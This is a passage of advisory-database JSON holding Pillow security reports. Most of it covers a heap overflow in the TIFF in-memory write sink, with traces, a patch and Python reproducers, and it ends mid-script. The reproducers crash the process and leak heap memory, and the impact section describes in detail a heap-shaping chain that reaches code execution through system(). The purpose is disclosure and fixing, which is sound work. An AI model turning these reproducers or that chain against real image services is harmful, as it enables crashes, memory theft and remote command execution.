\u003ccode\u003erepro\u003c/code\u003e, 2,545 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow libtiff writer: a count-1 integer tag copied from the source TIFF is passed to\n# TIFFSetField() as one scalar vararg; for tags libtiff itself defines as arrays it is\n# consumed as a byte COUNT (DNGPrivateData 50740 -\u003e N bytes of process memory written\n# into the output) or as a POINTER (ActiveArea 50829 -\u003e SIGSEGV).  Application side is\n# the ordinary \"open upload, save as TIFF\" (compression is inherited -\u003e libtiff writer).\nimport io, struct, subprocess, sys, resource\nfrom PIL import Image\n\ndef upload(tag, value):\n    \"\"\"Pillow-written 16x16 LZW TIFF, plus one extra IFD entry \u003ctag\u003e LONG[1] = value.\"\"\"\n    b = io.BytesIO()\n    Image.new(\"RGB\", (16, 16), \"red\").save(b, \"TIFF\", compression=\"tiff_lzw\")\n    data = bytearray(b.getvalue()); assert data[:4] == b\"II*\\0\"\n    (off,) = struct.unpack_from(\"\u003cI\", data, 4)\n    (n,) = struct.unpack_from(\"\u003cH\", data, off)\n    ents = [bytes(data[off + 2 + 12 * i: off + 14 + 12 * i]) for i in range(n)]\n    ents.append(struct.pack(\"\u003cHHII\", tag, 4, 1, value))\n    ents.sort(key=lambda e: struct.unpack_from(\"\u003cH\", e)[0])\n    data += b\"\\0\" * (len(data) \u0026 1); new_off = len(data)\n    data += struct.pack(\"\u003cH\", len(ents)) + b\"\".join(ents) + struct.pack(\"\u003cI\", 0)\n    struct.pack_into(\"\u003cI\", data, 4, new_off)\n    return bytes(data)\n\ndef resave(src):                       # the whole \"service\"\n    im = Image.open(io.BytesIO(src)); out = io.BytesIO(); im.save(out, \"TIFF\")\n    return out.getvalue()\n\nif len(sys.argv) \u003e 1 and sys.argv[1] == \"child\":\n    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))\n    resave(upload(50829, 64)); sys.exit(0)\n\nprint(\"PIL core:\", Image.core.__file__)\nctl = Image.open(io.BytesIO(resave(upload(65000, 4096)))).tag_v2.get(65000)\nprint(\"control  tag 65000=4096 -\u003e\", repr(ctl))\n\nN = 65536\nsrc = upload(50740, N)\ntry:\n    v = Image.open(io.BytesIO(resave(src))).tag_v2.get(50740)\nexcept (ValueError, RuntimeError) as e:   # a fixed Pillow may reject the tag\n    v = e\nleak = isinstance(v, bytes) and len(v) == N and v[:64] not in src\nprint(f\"leak     tag 50740={N} from a {len(src)}-byte upload -\u003e\",\n      f\"{len(v)} bytes not present in input, head {v[:32].hex()}\" if leak else repr(v)[:80])\nif leak:\n    so = open(Image.core.__file__, \"rb\").read()\n    print(\"         leaked bytes found in _imaging.so at file offset\", hex(so.find(v[:256])))\n\nrc = subprocess.call([sys.executable, __file__, \"child\"])\ncrash = rc in (-11, 139)\nprint(\"crash    tag 50829=64 -\u003e child exit\", rc, \"(SIGSEGV)\" if crash else \"\")\nprint(\"BUG\" if leak or crash else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T21:29:16.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-xvh5-g6gv-559v","https://github.com/python-pillow/Pillow/commit/af56ace297b0991d02988fcc2ea933e4824b4fb3","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://nvd.nist.gov/vuln/detail/CVE-2026-112902","https://github.com/github/advisory-database/pull/10903","https://github.com/python-pillow/Pillow/pull/10227","https://github.com/python-pillow/Pillow/commit/570df030c0d30c2bf5336b2ab59f3902d8ab0b6d","https://github.com/advisories/GHSA-xvh5-g6gv-559v"],"source_kind":"github","identifiers":["GHSA-xvh5-g6gv-559v","CVE-2026-112902"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:00:51.491Z","epss_percentage":0.00638,"epss_percentile":0.51897,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14dmg1LWc2Z3YtNTU5ds4AB-_X","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14dmg1LWc2Z3YtNTU5ds4AB-_X","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.4.0, \u003c= 12.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14dmg1LWc2Z3YtNTU5ds4AB-_X/related_packages","related_advisories":[{"uuid":"CVE-2026-112902","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112902.json"},{"uuid":"UBUNTU-CVE-2026-112902","source_kind":"osv","url":"https://osv.dev/vulnerability/UBUNTU-CVE-2026-112902"},{"uuid":"DEBIAN-CVE-2026-112902","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112902"}]},{"uuid":"GSA_kwCzR0hTQS0zMzJwLTdocmMtOTJ3Zs4AB-_W","url":"https://github.com/advisories/GHSA-332p-7hrc-92wf","title":"Pillow: Heap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO","description":"```\n============================================================================\nHeap buffer overflow in _tiffWriteProc when saving TIFF to BytesIO\nLocation: src/libImaging/TiffDecode.c:94  in _tiffWriteProc()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow can write attacker-chosen data past the end of a heap buffer when it saves a TIFF image to an in-memory destination such as `io.BytesIO` rather than to a file. The same code also copies leftover heap memory from the process into the saved file. Anyone who can supply an image to a service that opens it and re-saves it as TIFF this way can trigger this with default settings. The attached reproducer crashes the process, and the overflow could potentially be developed further, but code execution is not demonstrated here.\n\nThe bug is in `_tiffWriteProc` in `src/libImaging/TiffDecode.c`. This is the write callback for the in-memory sink that Pillow gives libtiff whenever the save target has no `fileno()`. While writing the directory, libtiff seeks past the current end of data and writes tag values there. `_tiffWriteProc` sizes its `realloc()` from `state-\u003esize + size` instead of from the write position `state-\u003eloc`. As a result, the first out-of-line tag value written after that seek can run past the allocation by up to the size of the directory: 12 bytes per entry, 126 bytes in the minimal case, and 2384 bytes observed with a 331-entry directory. The overflowing bytes are the tail of a tag value taken from the uploaded file.\n\nNo save options are needed, because compression and tags are inherited from the source image. The overflow does require an attacker-sized out-of-line tag to reach libtiff. That happens when the opened TIFF is saved directly (ImageDescription, DocumentName or XMP), or through an embedded ICC profile, which survives `copy()` in `im.info`. The bytes libtiff skips for alignment are never initialised, so any compressed TIFF over 64 KiB written this way also leaks one stale heap byte per padding hole. That leak needs no crafted tag.\n\nThe attached reproducer builds a 131 KB PackBits TIFF and runs `Image.open(...).save(io.BytesIO(), \"TIFF\")`. Saving the same image to a file path succeeds, but the `BytesIO` save aborts with glibc's `malloc(): corrupted top size`. A second part of the script shows uninitialised heap bytes at the padding offsets of a `BytesIO` save that are zero in the file save. Saves to real files are unaffected. The defect dates to e782fe721e01 (2013) and has been present since Pillow 2.0.0.\n\n## Details\n\nWhen `im.save()` writes a TIFF through libtiff to a target that has no usable `fileno()` (`io.BytesIO`, an HTTP response object, a storage backend stream), libtiff is opened with `TIFFClientOpen()` on Pillow's own in-memory sink, `_tiffWriteProc` / `_tiffSeekProc` in `src/libImaging/TiffDecode.c`. libtiff treats that sink like a file: when it writes the directory it seeks *beyond* the current end of data (to `eof + IFD size`, where the out-of-line tag values go, and one byte further after every odd-length tag value to keep offsets even) and writes there. On a real file the kernel grows the file and zero-fills the gap. The memory sink does neither correctly:\n\n1. `_tiffWriteProc` sizes its `realloc()` from `state-\u003esize + size` instead of `state-\u003eloc + size`, so the first write after such a seek can land past the end of the new allocation — a heap buffer overflow whose content is tag data taken from the image being saved.\n2. The bytes that libtiff skips are never written, and the grown region is a bare `realloc()`, so they reach the output TIFF with whatever the heap held before.\n\nBoth are reachable with default settings by the ordinary \"re-encode the upload\" sequence `Image.open(upload); im.save(io.BytesIO(), \"TIFF\")` with no save options: `compression` defaults to the source file's (`src/PIL/TiffImagePlugin.py:1734`), any compression other than raw selects the libtiff writer (`:1746`), the source's `tag_v2` entries are passed through to libtiff (`:1959`), and a target without `fileno()` leaves `_fp = 0` (`:1928-1935`), i.e. the memory sink. The overflow half additionally needs an attacker-controlled out-of-line tag value of the right length to reach libtiff. With the opened `TiffImageFile` saved directly (`tag_v2` passthrough) that can be a ~64 KiB ASCII tag (269/270/271/272) or the XMP packet (tag 700, type BYTE — arbitrary bytes), and the number of tags the upload carries sets the IFD size, i.e. the overrun length (12 bytes per entry; 2384 bytes with a 331-entry IFD observed). After `convert()`/`resize()`/`thumbnail()`/`copy()` the `tag_v2` entries are gone, but `im.info[\"compression\"]` (still selecting libtiff) and `im.info[\"icc_profile\"]` survive and the ICC profile is written as tag 34675 (`:1822-1824`), an equally attacker-controlled out-of-line value: `Image.open(x).copy().save(BytesIO(), \"TIFF\")` with the payload in the ICC profile produces the identical ASan report. The stale-byte half needs no attacker tag at all.\n\n**Proof (overflow).** A 131 198-byte hand-built TIFF — mode L, 7×8191, `Compression=32773` (PackBits), an `ImageDescription` of 65 535 characters — opened with `Image.open()` and saved with `im.save(io.BytesIO(), \"TIFF\")` aborts a stock build with glibc's `malloc(): corrupted top size`. The same call against an AddressSanitizer build of the C extensions reports\n\n```\nAddressSanitizer: heap-buffer-overflow ... WRITE of size 65536\n #1 _tiffWriteProc src/libImaging/TiffDecode.c:115\n #4 TIFFFlush\n #5 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1056\n0 bytes to the right of 131072-byte region, allocated by realloc in _tiffWriteProc src/libImaging/TiffDecode.c:103\n```\n\n**Proof (uninitialised bytes).** Saving one 300×300 RGB image as `compression=\"tiff_lzw\"` with four odd-length ASCII tags to a `BytesIO`, once with `MALLOC_PERTURB_=1` (glibc fills fresh allocations with 0xfe) and once with `MALLOC_PERTURB_=170` (0x55), gives two 369 463-byte TIFFs that differ in exactly 4 bytes, 0xfe vs 0x55, at offsets 369177, 369417, 369423, 369451 — the pad byte between the odd-length last strip and the IFD, and the pad byte after each odd-length tag value except the last. The same save to a filename gives byte-identical files with 0x00 there. Without any allocator tweaks, after a few 64 KB–400 KB Python `bytes` objects filled with 0xa7 are created and freed, re-saving an uploaded LZW TIFF carrying ten odd-length ASCII tags yields 0xa7 at all nine pad offsets.\n\n### Code walk-through\n\nThe sink's state is `{data, size (allocated), loc (position), eof (high-water mark)}`; the encoder path starts it as a zeroed 64 KiB block (`TiffDecode.c:863`, `calloc(bufsize, 1)` with `bufsize = 64*1024`, `flrealloc = 1`). Seeking is unconstrained:\n\n```c\n/* src/libImaging/TiffDecode.c:124-141  _tiffSeekProc */\n    case 0: state-\u003eloc = off;            break;   /* may exceed eof and size */\n    case 1: state-\u003eloc += off;           break;\n    case 2: state-\u003eloc = state-\u003eeof + off; break;\n```\n\nand writing assumes `loc \u003c= size`:\n\n```c\n/* src/libImaging/TiffDecode.c:90-117  _tiffWriteProc */\n    to_write = MIN(size, state-\u003esize - (tsize_t)state-\u003eloc);   /* negative if loc \u003e size */\n    if (state-\u003eflrealloc \u0026\u0026 size \u003e to_write) {\n        tsize_t newsize = state-\u003esize;\n        while (newsize \u003c (size + state-\u003esize)) {               /* capacity target ignores loc */\n            …\n            newsize += 64 * 1024;\n        }\n        new_data = realloc(state-\u003edata, newsize);              /* tail left uninitialised */\n        …\n        state-\u003esize = newsize;\n        to_write = size;\n    }\n    _TIFFmemcpy((UINT8 *)state-\u003edata + state-\u003eloc, buf, to_write);   /* :115 */\n    state-\u003eloc += (toff_t)to_write;\n    state-\u003eeof = MAX(state-\u003eloc, state-\u003eeof);\n```\n\nA gdb trace of the sink calls during the overflowing save (stock build, breakpoints on the two procs) shows how libtiff drives it:\n\n```\nwrite size=63064 at loc=8      (eof=8     size=65536)     strip data (PackBits re-encode:\nwrite size=2464  at loc=63072  (eof=63072 size=65536)      8 bytes/row × 8191 rows)\nseek  off=0     whence=2       -\u003e loc=65536 = eof = size   TIFFWriteDirectory: end of data, already even\nseek  off=4;  write size=4 at loc=4                        link IFD offset into header\nseek  off=65662 whence=0       (eof=65536 size=65536)      65536 + 126-byte IFD (10 entries) = tag data area\nwrite size=65536 at loc=65662  (eof=65536 size=65536)      ImageDescription, first out-of-line value\n```\n\nFor that last call `to_write = 65536 − 65662 = −126`, the loop grows `newsize` until it is ≥ `65536 + 65536`, i.e. to 131072, and the `memcpy` writes `[65662, 131198)` into a 131072-byte block: 126 bytes past the end, containing the last 126 bytes of the description string. `loc`/`eof` become 131198 \u003e `size`; `ImagingLibTiffEncode` later sets `size = eof` (`:1067`) and copies `[0, eof)` out of the same block (`:1073`), reading past it as well.\n\nThe general condition is: at directory-write time the strip data ends within *IFD-size* bytes of the current allocation boundary, and the first out-of-line tag value has a length just below a multiple of 64 KiB. The overrun length is `IFD size + pad − slack`, so it grows by 12 bytes per additional tag. For single-band images (L, P, 1, I;16, F…) `BitsPerSample` is stored inline and the first out-of-line value in tag order is `DocumentName` (269) or `ImageDescription` (270) — both free-length ASCII strings taken from the source file. Pillow re-encodes the pixels itself, but with PackBits the compressed size is a deterministic function of attacker-chosen pixel rows (the reproducer uses rows of 7 distinct bytes → 8 bytes per row → exactly 65536 bytes including the 8-byte header), so the attacker controls both quantities. For multi-band images the 6-byte `BitsPerSample` array is written first and absorbs the growth, which is why RGB sources do not hit the overflow.\n\nThe disclosure half is the benign version of the same sequence. In the LZW/RGB trace the strip data ends at the odd offset 369177; libtiff places the IFD at 369178 and the tag values from 369364 on, and after each odd-length value seeks one byte forward before the next write (`seek off=369418 (loc=369417)`, `write size=5 at loc=369418`, …). Offsets 369177, 369417, 369423 and 369451 are therefore never written. They lie in the part of the buffer obtained by the `realloc()` calls at `:103` (the block grew 65536 → 196608 → 327680 → 458752 during the strip writes), which is not cleared, so the emitted file carries the previous heap contents at those positions. Holes that fall inside the initial 64 KiB are zero only because that block is `calloc`'d.\n\nThe defect was introduced in e782fe721e01 (\"initial merge of wiredfool/Python-Imaging-Library-G4-Tiff-Support\", 2013-03-08), first released in Pillow 2.0.0.\n\n## Impact\n\nAny service that accepts an image and produces a TIFF rendition into a non-file object — the usual pattern for returning or uploading the result without touching disk — is exposed to whoever supplies the image, with no non-default Pillow setting involved. The overflow additionally requires that an attacker-controlled out-of-line tag value reaches libtiff: the uploaded ImageDescription/DocumentName/XMP when the application saves the opened TIFF itself (or copies its tags into the save), or the embedded ICC profile, which survives `convert()`/`resize()`/`thumbnail()`/`copy()` in `im.info` together with the compression. Under those conditions, with a crafted single-band TIFF the uploader gets a heap out-of-bounds write in the worker process of IFD-size bytes (12 bytes per directory entry the upload carries — 126 bytes with the minimal reproducer, 2384 bytes with a 331-entry IFD) immediately past a 128 KiB-class `realloc` block, with the overwritten bytes being the tail of a tag value they chose; on the stock build the minimal reproducer is detected by glibc and kills the process (`SIGABRT`).\n\nGiven two addresses leaked by a separate bug, this write has been turned into code execution against a stock build of this commit with ASLR/PIE/NX enabled and default settings (that proof-of-concept is not included with this report): a single-process stdlib `http.server` worker doing nothing but `Image.open(BytesIO(body)).save(BytesIO(), \"TIFF\")` per upload executed an attacker-chosen shell command (`id\u003e/tmp/r.XXXXXX`), answered `200` and kept serving (12/12 against a freshly started worker, 2/6 after twenty unrelated uploads; a miss normally leaves the worker running and is retryable). The two addresses (`\u0026system`, `\u0026PyBytes_Type`) were taken from an unrelated information disclosure in the same process; everything else is this bug plus properties of Pillow's TIFF reader used as a heap-shaping script. The 4.7 MB attack TIFF is a 397×165 8-bit PackBits image whose rows re-encode to exactly 65 528 bytes (strip ends at sink offset 65 536), a 63 942-byte XMP packet (tag 700) as the first out-of-line value, and ~500 private IFD entries. Because `TiffImagePlugin` turns every IFD entry into one `bytes` object in IFD order, frees an earlier entry when a later one repeats its tag number, and parses the IFD three times per request (`TiffImagePlugin.py:1258`, `:1271`, and `getexif()` from `load_end()` at `:1331`), those entries drain glibc's free lists, punch exact-size holes for every large allocation the save makes, and arrange that the 128 KiB `realloc` of the sink lands directly below a live 0x540 chunk followed by libtiff's own `TIFF` handle (`malloc(1313)` from `TIFFClientOpen`). The 2384 overflowing bytes rewrite the start of the `TIFF` struct with the command string, a zeroed `tif_dir`, `tif_diroff = 65536`, and `tif_cleanup = system` at +0x3f8; libtiff resumes `TIFFWriteDirectorySec` on the modified handle and calls `(*tif-\u003etif_cleanup)(tif)`. With gdb on `__libc_system` the call arrives as `__libc_system(\"id\u003e/tmp/r.…\") ← libtiff.so.6 ← TIFFFlush ← ImagingLibTiffEncode (src/libImaging/TiffDecode.c:1056) ← _encode (src/encode.c:139)`. Offsets are per-binary constants (glibc 2.36, CPython 3.12.14, libtiff 4.5.0, this `_imaging.so`), all obtainable from public distribution files.\n\nIndependently, every compressed TIFF written to such a target that exceeds 64 KiB discloses one byte of stale heap per alignment hole (one per odd-length tag value plus possibly one before the IFD; the count is set by the tags in the uploaded file) at predictable offsets in the returned file — low bandwidth, but it is other requests' freed data. File-path and real-fd targets (`TIFFFdOpen`) are unaffected by either issue. The primitive is the same class and attacker position as the `TiffDecode.c` decode-side heap overflows CVE-2020-35654, CVE-2021-25289 and CVE-2020-10379, but on the encode path and behind the output-to-a-non-file and tag-passthrough preconditions above, with code execution additionally depending on an address leak from another bug.\n\n## Reproducing\n\n`repro` is a single Python script that uses the installed Pillow, writes its inputs into a temporary directory. It has two parts. Each part compares saving to a file path, which goes through `TIFFFdOpen` and is correct, with the same save into an `io.BytesIO`, which goes through the `_tiffWriteProc` memory sink.\n\n**Part 1: heap overflow.** `setup_env()` builds `upload.tif` (131 198 bytes) byte by byte: a mode L, 7×8191 image with `Compression=32773` (PackBits) and a 65 535-character `ImageDescription`. The sizes are picked so that when Pillow re-encodes the pixels, the strip comes to 8 + 8191 × 8 = 65 536 bytes and ends exactly at the sink's initial 64 KiB buffer. libtiff then seeks past the 126-byte IFD and writes the 65 536-byte description at offset 65 662. The sink grows only to 131 072 bytes, so the last 126 bytes of the description are written past the end of the heap block. In a fresh child process, the script runs `Image.open(\"upload.tif\").save(\u003ctarget\u003e, \"TIFF\")` with no options, once with `\"out.tif\"` as the target and once with `io.BytesIO()`. The file save exits with 0. The BytesIO save is killed by SIGABRT, with glibc reporting `malloc(): corrupted top size`.\n\n**Part 2: stale heap bytes in the output.** A child started with `MALLOC_PERTURB_=170` (glibc fills fresh allocations with 0x55) saves a seeded-noise 300×300 RGB image with `compression=\"tiff_lzw\"` and four odd-length ASCII tags. It saves once to a file and once to a BytesIO, then prints every offset where the two outputs differ. libtiff skips one pad byte before the IFD and one after each odd-length tag value. The file has 0x00 at those offsets, but the BytesIO output still holds the 0x55 that was in uninitialised `realloc()` memory.\n\nExpected output on this tree:\n\n```\nupload.tif: 131198 bytes\nsave to file path : exit code 0, out.tif = 131210 bytes\nsave to BytesIO   : exit code -6, stderr: 'malloc(): corrupted top size'\n-\u003e heap overflow crashed the process: True\n\nsame image, same options, saved to a file path vs. to a BytesIO:\n  offset 369177: file 0x00   BytesIO 0x55\n  offset 369417: file 0x00   BytesIO 0x55\n  offset 369423: file 0x00   BytesIO 0x55\n  offset 369451: file 0x00   BytesIO 0x55\n\n-\u003e BytesIO output contains never-written heap bytes: True\n\nBUG\n```\n\nThe last line is `BUG` if either part shows its defect, and `OK` otherwise. With the attached patch applied and rebuilt, the BytesIO save exits with 0, the two outputs are identical, and the script prints `OK`.\n\n## Suggested fix\n\nThe attached patch makes `_tiffWriteProc` in `src/libImaging/TiffDecode.c` honour sparse-file semantics: it sizes the buffer from the write position, and zeroes what `realloc()` adds (the initial block is already `calloc`'d, so every byte libtiff skips then reads as 0, exactly as through `TIFFFdOpen`). For the non-reallocating case (`flrealloc == 0`), where `loc \u003e size` would also make `to_write` negative, it rejects the write with a `TIFFError`, the same idiom `_tiffReadProc` uses:\n\n```diff\n-        while (newsize \u003c (size + state-\u003esize)) {\n+        while (newsize \u003c (size + (tsize_t)state-\u003eloc)) {\n …\n+        memset((UINT8 *)new_data + state-\u003esize, 0, newsize - state-\u003esize);\n         state-\u003edata = new_data;\n         state-\u003esize = newsize;\n         to_write = size;\n+    } else if (to_write \u003c 0) {\n+        TIFFError(\"_tiffWriteProc\", \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64, …);\n+        return 0;\n     }\n```\n\n`_tiffSeekProc` is left unconstrained, since libtiff legitimately seeks past the end of data; with the write proc fixed, `eof` can no longer exceed `size`, so the read-out in `ImagingLibTiffEncode` (`:1067`, `:1073`) stays within the block. The patch also adds `test_save_bytesio_seek_past_end` to `Tests/test_file_libtiff.py`, which saves the PackBits 64 KiB-boundary case and an LZW case with odd-length tags to both a file and a `BytesIO` and asserts the outputs are identical. With the patch applied and rebuilt, the BytesIO output is byte-identical to the file output, no AddressSanitizer report is produced for tag lengths 65410/65535/131071/196607, the code-execution chain described under Impact no longer runs its command, and the existing TIFF tests pass.\n\n## The patch\n\nSize the libtiff in-memory write buffer from the write position, not its current size, and zero the space added by realloc in _tiffWriteProc\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..d2a926a62 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -760,6 +760,38 @@ class TestFileLibTiff(LibTiffTestCase):\n         save_bytesio(\"packbits\")\n         save_bytesio(\"tiff_lzw\")\n \n+    def test_save_bytesio_seek_past_end(self, tmp_path: Path) -\u003e None:\n+        # When writing the directory, libtiff seeks past the end of the data\n+        # written so far, and then writes the tag values there. Check that the\n+        # in-memory write buffer grows to fit, and that the bytes that are\n+        # skipped over are zero, as they would be when writing to a file.\n+\n+        # 7 distinct bytes per row: PackBits emits 8 bytes per row, so the strip\n+        # plus the header are exactly 64 KiB, the initial size of the buffer\n+        im = Image.new(\"L\", (7, 8191))\n+        im.putdata([(i * 37) \u0026 0xFF for i in range(7 * 8191)])\n+        kwargs = {\"compression\": \"packbits\", \"description\": \"D\" * 65535}\n+\n+        outfile = tmp_path / \"temp.tif\"\n+        im.save(outfile, **kwargs)\n+        buffer_io = io.BytesIO()\n+        im.save(buffer_io, format=\"tiff\", **kwargs)\n+        assert buffer_io.getvalue() == outfile.read_bytes()\n+\n+        # odd-length tag values, so that libtiff pads between them. Large enough\n+        # that the buffer has to be reallocated\n+        im = hopper().resize((300, 300))\n+        kwargs = {\n+            \"compression\": \"tiff_lzw\",\n+            \"description\": \"abcdef\",\n+            \"software\": \"xyz0\",\n+            \"tiffinfo\": {315: \"artist\", 33432: \"copyright!\"},\n+        }\n+        im.save(outfile, **kwargs)\n+        buffer_io = io.BytesIO()\n+        im.save(buffer_io, format=\"tiff\", **kwargs)\n+        assert buffer_io.getvalue() == outfile.read_bytes()\n+\n     def test_save_ycbcr(self, tmp_path: Path) -\u003e None:\n         im = hopper(\"YCbCr\")\n         outfile = tmp_path / \"temp.tif\"\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..dd9945493 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -87,11 +87,13 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {\n     TRACE((\"_tiffWriteProc: %d \\n\", (int)size));\n     dump_state(state);\n \n+    // libtiff may have seeked past the end of the buffer, e.g. when writing the\n+    // directory, so the required size is based on the current location.\n     to_write = MIN(size, state-\u003esize - (tsize_t)state-\u003eloc);\n     if (state-\u003eflrealloc \u0026\u0026 size \u003e to_write) {\n         tdata_t new_data;\n         tsize_t newsize = state-\u003esize;\n-        while (newsize \u003c (size + state-\u003esize)) {\n+        while (newsize \u003c (size + (tsize_t)state-\u003eloc)) {\n             if (newsize \u003e INT_MAX - 64 * 1024) {\n                 return 0;\n             }\n@@ -105,9 +107,20 @@ _tiffWriteProc(thandle_t hdata, tdata_t buf, tsize_t size) {\n             // fail out\n             return 0;\n         }\n+        // zero the new space, so that any bytes libtiff seeks over without\n+        // writing are 0 in the output, as they would be in a file\n+        memset((UINT8 *)new_data + state-\u003esize, 0, newsize - state-\u003esize);\n         state-\u003edata = new_data;\n         state-\u003esize = newsize;\n         to_write = size;\n+    } else if (to_write \u003c 0) {\n+        TIFFError(\n+            \"_tiffWriteProc\",\n+            \"Invalid Write at loc %\" PRIu64 \", size: %\" PRIu64,\n+            state-\u003eloc,\n+            (toff_t)state-\u003esize\n+        );\n+        return 0;\n     }\n \n     TRACE((\"to_write: %d\\n\", (int)to_write));\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 5,434 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPillow: heap overflow + stale heap bytes in the libtiff in-memory write sink\n(_tiffWriteProc, src/libImaging/TiffDecode.c).\n\nim.save(\u003cBytesIO\u003e, \"TIFF\") with any compression goes through libtiff writing\ninto Pillow's memory sink. When libtiff writes the directory it seeks *past*\nthe end of the data written so far and writes tag values there:\n\n  1. _tiffWriteProc grows the buffer to `size + write_len` instead of\n     `loc + write_len`, so that write can run off the end of the allocation.\n  2. The bytes libtiff skipped over are never written, so whatever the heap\n     held there ends up in the output file.\n\nThe same saves to a file path are fine (the kernel zero-fills skipped bytes),\nwhich is the control for both parts.\n\"\"\"\nimport os\nimport resource\nimport struct\nimport subprocess\nimport sys\nimport tempfile\n\nresource.setrlimit(resource.RLIMIT_CORE, (0, 0))   # the overflow aborts; no core file\nos.chdir(tempfile.mkdtemp())\n\n\ndef run(code, **env):\n    \"\"\"Run a Python snippet against the installed Pillow in a fresh process.\"\"\"\n    return subprocess.run([sys.executable, \"-c\", code], env={**os.environ, **env},\n                          capture_output=True, text=True)\n\n\ndef setup_env():\n    \"\"\"Write upload.tif: an L-mode 7x8191 PackBits TIFF with a 65535-char ImageDescription.\n\n    Sizes are chosen so that, when Pillow re-encodes it:\n      - the PackBits strip is 8191 rows x 8 bytes + 8-byte header = 65536 bytes,\n        i.e. the data ends exactly at the sink's initial 64 KiB buffer;\n      - the first out-of-line tag value (ImageDescription + NUL) is 65536 bytes\n        and goes at 65536 + 126 (the 10-entry IFD sits in between).\n    The sink grows to 65536 + 65536 = 131072 bytes, then writes [65662, 131198):\n    the last 126 bytes of the description land past the end of the heap block.\n    \"\"\"\n    w, h = 7, 8191\n    # 7 distinct bytes per row -\u003e PackBits can only emit one literal run: 1 + 7 bytes\n    strip = b\"\".join(b\"\\x06\" + bytes((y * 7 + x) * 37 \u0026 0xFF for x in range(w)) for y in range(h))\n    desc = b\"D\" * 65535 + b\"\\x00\"\n    strip_off, desc_off = 8, 8 + len(strip)\n    ifd_off = desc_off + len(desc)\n    entries = [\n        (256, 4, 1, w),                  # ImageWidth\n        (257, 4, 1, h),                  # ImageLength\n        (258, 3, 1, 8),                  # BitsPerSample\n        (259, 3, 1, 32773),              # Compression = PackBits (inherited by save())\n        (262, 3, 1, 1),                  # PhotometricInterpretation = BlackIsZero\n        (270, 2, len(desc), desc_off),   # ImageDescription (carried into save() via tag_v2)\n        (273, 4, 1, strip_off),          # StripOffsets\n        (277, 3, 1, 1),                  # SamplesPerPixel\n        (278, 4, 1, h),                  # RowsPerStrip\n        (279, 4, 1, len(strip)),         # StripByteCounts\n    ]\n    ifd = struct.pack(\"\u003cH\", len(entries))\n    ifd += b\"\".join(struct.pack(\"\u003cHHII\", *e) for e in entries)\n    ifd += struct.pack(\"\u003cI\", 0)\n    with open(\"upload.tif\", \"wb\") as f:\n        f.write(struct.pack(\"\u003c2sHI\", b\"II\", 42, ifd_off) + strip + desc + ifd)\n\n\n# ---------------------------------------------------------------------------\n# Part 1: heap buffer overflow. Re-save an uploaded TIFF with no options.\n# ---------------------------------------------------------------------------\nsetup_env()\nprint(f\"upload.tif: {os.path.getsize('upload.tif')} bytes\")\n\nRESAVE = 'from PIL import Image; import io; Image.open(\"upload.tif\").save({target}, \"TIFF\")'\n\n# Control: saving to a file path (real fd, no memory sink) works\ncontrol = run(RESAVE.format(target='\"out.tif\"'))\nprint(f\"save to file path : exit code {control.returncode}, out.tif = {os.path.getsize('out.tif')} bytes\")\n\n# PoC: the identical save into a BytesIO\npoc = run(RESAVE.format(target=\"io.BytesIO()\"))\nprint(f\"save to BytesIO   : exit code {poc.returncode}, stderr: {poc.stderr.strip()!r}\")\n\n# A process killed by a signal (SIGABRT from glibc's heap check) = heap corrupted\noverflow = control.returncode == 0 and poc.returncode \u003c 0\nprint(f\"-\u003e heap overflow crashed the process: {overflow}\\n\")\n\n\n# ---------------------------------------------------------------------------\n# Part 2: stale heap bytes in the output. MALLOC_PERTURB_=170 makes glibc fill\n# fresh allocations with 0x55, so never-written bytes become visible.\n# ---------------------------------------------------------------------------\nSTALE = r'''\nimport io, random\nfrom PIL import Image\nrandom.seed(1)\nim = Image.new(\"RGB\", (300, 300))      # noise -\u003e ~360 KB LZW, so the sink must realloc()\nim.putdata([tuple(random.randrange(256) for _ in \"rgb\") for _ in range(300 * 300)])\n# odd-length ASCII tags: libtiff skips one pad byte after each\nkw = dict(compression=\"tiff_lzw\", description=\"abcdef\", software=\"xyz0\",\n          